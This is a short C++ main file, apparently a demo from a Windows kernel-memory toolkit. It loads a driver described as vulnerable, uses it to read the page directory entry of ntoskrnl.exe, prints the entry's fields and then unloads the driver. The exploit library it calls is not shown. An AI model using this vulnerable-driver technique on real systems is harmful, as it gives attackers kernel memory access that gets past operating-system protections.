|
|
|
#include "vdm_ctx/vdm_ctx.h"
|
|
|
|
#include "mem_ctx/mem_ctx.hpp"
|
|
|
|
|
|
|
|
int __cdecl main(int argc, char** argv)
|
|
|
|
{
|
|
|
|
const auto [drv_handle, drv_key] = vdm::load_drv();
|
|
|
|
if (!drv_handle || drv_key.empty())
|
|
|
|
{
|
|
|
|
std::printf("[!] unable to load vulnerable driver...\n");
|
|
|
|
return -1;
|
|
|
|
}
|
|
|
|
|
|
|
|
vdm::vdm_ctx vdm;
|
|
|
|
nasa::mem_ctx my_proc(vdm);
|
|
|
|
|
|
|
|
const auto ntoskrnl_base =
|
|
|
|
reinterpret_cast<void*>(
|
|
|
|
util::get_kmodule_base("ntoskrnl.exe"));
|
|
|
|
|
|
|
|
const auto ntoskrnl_pde = my_proc.get_pde(ntoskrnl_base);
|
|
|
|
std::printf("[+] pde.present -> %d\n", ntoskrnl_pde.second.present);
|
|
|
|
std::printf("[+] pde.pfn -> 0x%x\n", ntoskrnl_pde.second.pfn);
|
|
|
|
std::printf("[+] pde.large_page -> %d\n", ntoskrnl_pde.second.large_page);
|
|
|
|
|
|
|
|
if (!vdm::unload_drv(drv_handle, drv_key))
|
|
|
|
{
|
|
|
|
std::printf("[!] unable to unload vulnerable driver...\n");
|
|
|
|
return -1;
|
|
|
|
}
|
|
|
|
|
|
|
|
my_proc.~mem_ctx(); //needs to be destroyed before vdm::vdm_ctx...
|
|
|
|
std::printf("[+] press any key to close...\n");
|
|
|
|
std::getchar();
|
|
|
|
}
|